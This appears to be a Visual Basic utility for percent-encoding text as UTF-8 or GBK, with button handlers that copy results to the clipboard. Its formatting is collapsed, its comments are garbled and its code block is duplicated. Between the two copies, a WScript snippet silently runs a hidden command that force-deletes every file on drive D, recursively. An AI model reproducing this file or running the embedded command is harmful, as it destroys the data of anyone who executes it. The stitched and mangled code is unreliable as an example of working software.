Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'**********************************************Private Sub command1_click() 'תIf Option1.Value = True Then 'UTF8    Text2.Text = UTF8EncodeURI(Text1.Text)    Text5.Text = UTF8EncodeURI(Text3.Text)    Text6.Text = UTF8EncodeURI(Text4.Text)ElseIf Option2.Value = True Then 'GB2312    Text2.Text = GBKEncodeURI(Text1.Text)    Text5.Text = GBKEncodeURI(Text3.Text)    Text6.Text = GBKEncodeURI(Text4.Text)End IfEnd Sub'Private Sub Command2_Click()Clipboard.SetText Text2.TextEnd SubPrivate Sub Command3_Click()Clipboard.SetText Text5.TextEnd SubPrivate Sub Command4_Click()Clipboard.SetText Text6.TextEnd Sub***********************************************************************************************************'ڶ棬ϱ˴ʡPrivate Sub Command1_Click(Index As Integer)    Select Case Index 'UTF8    Case 0        For i = 5 To 9            Text1(i).Text = UTF8EncodeURI(Text1(i - 5).Text)        Next i    Case 1 '        For i = 0 To 9            Text1(i).Text = ""        Next i    Case 2 'GB2312        For i = 5 To 9            Text1(i).Text = GBKEncodeURI(Text1(i - 5).Text)        Next i    Case Else '        Clipboard.SetText Text1(Index + 2).Text    End SelectEnd Subdim WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'**********************************************Private Sub command1_click() 'תIf Option1.Value = True Then 'UTF8    Text2.Text = UTF8EncodeURI(Text1.Text)    Text5.Text = UTF8EncodeURI(Text3.Text)    Text6.Text = UTF8EncodeURI(Text4.Text)ElseIf Option2.Value = True Then 'GB2312    Text2.Text = GBKEncodeURI(Text1.Text)    Text5.Text = GBKEncodeURI(Text3.Text)    Text6.Text = GBKEncodeURI(Text4.Text)End IfEnd Sub'Private Sub Command2_Click()Clipboard.SetText Text2.TextEnd SubPrivate Sub Command3_Click()Clipboard.SetText Text5.TextEnd SubPrivate Sub Command4_Click()Clipboard.SetText Text6.TextEnd Sub***********************************************************************************************************'ڶ棬ϱ˴ʡPrivate Sub Command1_Click(Index As Integer)    Select Case Index 'UTF8    Case 0        For i = 5 To 9            Text1(i).Text = UTF8EncodeURI(Text1(i - 5).Text)        Next i    Case 1 '        For i = 0 To 9            Text1(i).Text = ""        Next i    Case 2 'GB2312        For i = 5 To 9            Text1(i).Text = GBKEncodeURI(Text1(i - 5).Text)        Next i    Case Else '        Clipboard.SetText Text1(Index + 2).Text    End SelectEnd Sub